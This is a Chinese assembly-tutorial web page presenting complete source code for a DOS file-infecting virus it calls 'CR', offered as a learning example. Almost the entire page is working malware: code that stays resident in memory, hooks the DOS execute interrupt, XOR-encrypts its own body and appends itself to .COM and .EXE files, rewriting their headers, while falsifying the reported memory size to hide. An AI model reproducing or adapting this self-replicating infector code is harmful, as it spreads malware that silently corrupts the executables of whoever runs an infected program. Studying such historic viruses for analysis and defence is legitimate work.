您的位置:逆风者 汇编技术 正文
原作者:www.upwinder.com 添加时间:2007-09-02 原文发表:2007-08-31 人气:210 来源:未知

这个病毒虽然比较简单。但是麻雀虽小,五脏俱全。隐藏,感染,加密等模块应有尽有(只是不会破坏),是一个比较标准的DOS病毒,可以感染.EXE(不包括PE)和.COM的可执行文件。
如果您希望学习汇编语言,用这个程序作为入门指导倒是比较合适的。
逆风者
染毒文件会被打上“CR”的标记,我们姑且称它为CR病毒吧。
baseoff equ 107h



code	segment

	assume cs:code,ds:code,es:code,ss:code

	org 100h

main:	

	mov ax,offset begin

	jmp ax

	

	db 'cr'

		

begin:	

	push es

	push ds

	

	mov ax,cs

	mov ds,ax

	mov es,ax

	

	call get_ip	

	push ax

	mov ax,offset encodebegin

	jmp short get_ip_end

	

oldhead	db 0h,4ch,0cdh,21h,6 dup (?)



get_ip	label near

	mov bp,sp

	mov bx,[bp]

	ret

get_ip_end:

	sub bx,112h		;get current offset

	add ax,bx

	push ax

	pop di

	mov si,di

	cld

	mov cx, offset endtag-offset encodebegin

	mov dl, byte ptr [oldhead bx]

	push si

decode:	

	lodsb

	xor al,dl

	stosb			;decode at runtime

	loop decode

	retf			;retf  cs:ip=encodebegin

	db 62h

	db 65h



encodebegin:

	mov ax,9f80h

	mov es,ax

	cmp es:word ptr [virustag-baseoff],7263h

	jz alreadyresident		

	

	push ds	

	mov ax,40h

	mov ds,ax

	mov di,13h	;get free memory

	sub word ptr [di],2

	pop ds



	mov di,0

	mov si,bx

	add si,baseoff

	mov cx,2048

	cld



	rep movsb	;resident in memory

	

	nop

	push bx

	

	mov ax,9f80h

	mov ds,ax

	mov ax,3521h

	int 21h

	mov ds:word ptr[oldint21-baseoff],bx

	mov dx,bx

	mov ds:word ptr[oldint21-baseoff 2h],es

	

	mov dx,offset newint21proc-baseoff

	mov ax,2521h

	int 21h



	mov dx,offset newint12proc-baseoff

	mov ax,2512h

	int 21h

	pop bx

	

alreadyresident:

	mov ax,cs

	mov ds,ax

	mov es,ax

	mov si,offset oldhead

	add si,bx

	mov di,0100h

	

	cmp cs:word ptr oldhead[bx],6163h	;this is an infected EXE file 

	jz GotoExe

	

	cld

	mov cx,7

	rep movsb

	

	pop ds

	pop es

	

	cmp cs:word ptr oldhead[bx],4c00h

	jz go_out

GotoOldHead:					;this is an infected COM file

	mov ax,0100h

	jmp ax

GotoExe:

	pop ds

	pop es

	mov ax,ds

	add ax,cs:ini_ss[bx]			;set old ss

	add ax,10h

	mov ss,ax

	mov ax,cs:ini_sp[bx]			;set old sp

	mov sp,ax

	mov ax,ds

	add ax,10h

	add cs:ini_cs[bx],ax			;set old cs

	jmp cs:dword ptr ini_ip[bx]		;jump to the normal EXE 

go_out:

	mov ah,4ch

	int 21h

	

oldint21 dw 2 dup(?)

filehead db 18h dup (?)

filesize dw 2 dup(?)

virustag db 'cr'

infecthead:	

	mov ax,offset begin

	jmp ax

	db 'cr'

temp	dw ?



ini_ip	dw ?

ini_cs	dw ?

ini_ss	dw ?

ini_sp	dw ?



newint21proc:

	cmp ah,4bh

	jz tryinfect

	jmp int21h

tryinfect:

	push ax			;begin to infect

	push cx

	push es

	push di

	push bx

	push dx

	push ds



	mov ax,3d02h

	int 21h

	jnc openok

	jmp notinfect		;open fail? not infect

openok:	

	push ds

	push dx

	push cs

	pop ds

	mov dx,offset filehead-baseoff

	mov bx,ax

	mov cx,18h

	mov ah,3fh

	int 21h	

	pop dx

	pop ds

	jc closefilenear		;read fail? not infect

	

	mov di,offset filehead-baseoff

	mov ax,9f80h

	mov es,ax

	

	cmp word ptr es:[di],5a4dh	;'MZ' in head? EXE file...

	jnz COM_infect

	jmp EXE_infect

	

COM_infect:	

	cmp word ptr es:[di 5],7263h	;'cr' in 105h? not infect

	jz closefilenear   



	call getfilesize

	cmp dx,0

	jnz closefilenear			; file is too big..not infect

	cmp ax,63000

	ja  closefilenear			; file is too big..not infect

	cmp ax,10

	jb  closefilenear			; file is too small..not infect

	

	;infect begin,hahahahaha....

	jmp infectbegin

closefilenear:

	jmp closefile

infectbegin:	

	mov ax,9f80h

	mov ds,ax

	mov es,ax

	mov si,offset filehead-baseoff

	mov di,offset oldhead-baseoff

	mov cx,10

	cld

	rep movsb			;save the old file head

	

	call addvirustofile

	call mov_ptr_to_head





	mov di,offset infecthead-baseoff

	mov dx,di

	inc di

	mov cx,word ptr [filesize-baseoff]

	add cx,100h

	mov word ptr [di],cx

	mov cx,7

	mov ah,40h

	int 21h

	

	

closefile:

	mov ah,3eh

	int 21h				; close the file

	

notinfect:

	pop ds

	pop dx

	pop bx

	pop di

	pop es

	pop cx

	pop ax

int21h:	jmp dword ptr cs:[oldint21-baseoff]

	

getfilesize proc near

	mov ax,4202h

	xor cx,cx

	xor dx,dx

	int 21h

	jc  closefile

	mov es:word ptr [filesize-baseoff],ax

	mov es:word ptr [filesize-baseoff 2],dx		;save the file size

	ret

getfilesize endp



addvirustofile proc near

	xor dx,dx

	mov ah,40h

	mov cx,offset encodebegin-offset begin

	int 21h

	jc closefile			;write fail... not infect

	cmp ax,cx

	jb closefile			;write fail... not infect

	

	mov cx,(offset endtag-offset encodebegin)/2 (offset endtag-offset encodebegin)MOD 2

	mov dl,byte ptr oldhead-baseoff

	mov dh,dl

	mov di,dx

	mov si,offset encodebegin-baseoff

	mov dx,offset temp-baseoff

encode_myself:

	push cx

	lodsw

	xor ax,di			;encode and then write into file

	mov temp-baseoff,ax

	mov ah,40h

	mov cx,2

	int 21h

	jc closefile			;write fail... not infect

	cmp ax,cx

	jb closefile			;write fail... not infect

	pop cx

	loop encode_myself

	ret

addvirustofile endp	



mov_ptr_to_head proc near

	mov ax,4200h

	xor cx,cx

	xor dx,dx

	int 21h

	jc closefile	

	ret

mov_ptr_to_head endp





EXE_infect proc near



	mov ax,es:word ptr[di 2]		;exe size in the last sector

	mov dx,es:word ptr[di 4]		;total sectors of exe size

	push di

	dec dx

	mov cx,9

	xor si,si

get_size_in_head:

	shl dx,1

	shl si,1

	adc si,0

	loop get_size_in_head

	add dx,ax

	adc si,0

	mov di,dx

	

	call getfilesize			;get the exe file size

	cmp dx,si

	jnz exe_end_near			;not equal(file size and loading size)

	cmp dx,0fh				;not infect

	ja  exe_end_near

	cmp ax,di

	pop di

	jnz exe_end_near

	

	jmp begininfectexe

exe_end_near:

	jmp exe_end

	

	;begin to infect exe

begininfectexe:	

	mov ax,writesize 10

	mov cl,9

	

	add ax,es:word ptr[di 2]		;add exe loading size

	mov si,ax

	and ax,1ffh

	mov es:word ptr[di 2],ax

	shr si,cl

	add es:word ptr[di 4],si



	push es

	pop ds



	mov word ptr[oldhead-baseoff],6163h	;write EXE's tag

	mov ax,[di 14h]

	mov [ini_ip-baseoff],ax

	mov ax,[di 16h]

	mov [ini_cs-baseoff],ax

	mov ax,[di 10h]

	mov [ini_sp-baseoff],ax

	mov ax,[di 0eh]

	mov [ini_ss-baseoff],ax			;save the old ss,sp,cs,ip

		

	push di

	call addvirustofile

	pop di

	call mov_ptr_to_head



	mov ax,filesize-baseoff

	mov dx,[di 08h]

	mov cl,4

	shl dx,cl				;dx=exe header size

	sub ax,dx

	push ax

	and ax,0fh

	mov [di 14h],ax				;modify sp,ip

	mov [di 10h],writesize 50

	add word ptr [di 0ah],writesize/16 1	;add the memory needed

	pop ax

	mov dx,filesize 2-baseoff

	mov cl,4

modify_cs:

	shr dx,1

	rcr ax,1

	loop modify_cs

	mov [di 16h],ax				

	mov [di 0eh],ax				;modify cs and ss

	

	mov dx,di

	mov cx,18h

	mov ah,40h

	int 21h



exe_end:

	jmp closefile

EXE_infect endp

	

newint12proc:

	mov ax,640

	iret

writesize	equ $-begin

endtag:

code	ends

	end main	

 

相关文章

汇编源码--col
汇编源码--BURNOUT
汇编源码--dskwatch
简单的取系统时间小程序
汇编源码--CLEAR
汇编源码--DRIVER
鼠标控制CD-Audio播放程序
汇编源码--CLEANF
简单密码输入
汇编源码--basmain
汇编源码--COMINT
Mixer Volume Ctrler V1.0
CIH文件型病毒检测消除程序
汇编源码--frespace
汇编源码--getspace
汇编源码--DEV
汇编源码--getsect
汇编源码--alarm
汇编源码--fxn
汇编源码--CHAR

相关评论


本文章所属分类:首页 汇编技术

  热门关键字:
进制数据输出的通用程序 2007-09-12
汇编源码--showmem 2007-08-31
汇编源码--CLEAN 2007-08-31
汇编源码--hdr 2007-08-31
汇编源码--basload 2007-08-31
汇编源码--CHAR 2007-08-31
汇编源码--fxn 2007-08-31
汇编源码--alarm 2007-08-31
汇编源码--getsect 2007-08-31
汇编源码--DEV 2007-08-31
汇编源码--getspace 2007-08-31
汇编源码--frespace 2007-08-31
CIH文件型病毒检测消除程序 2007-08-31
Mixer Volume Ctrler V1.0 2007-08-31
汇编源码--COMINT 2007-08-31
自己用汇编语言写的一个病毒(源码... 2007-08-31
汇编源码--col 2007-08-31
汇编源码--BURNOUT 2007-08-31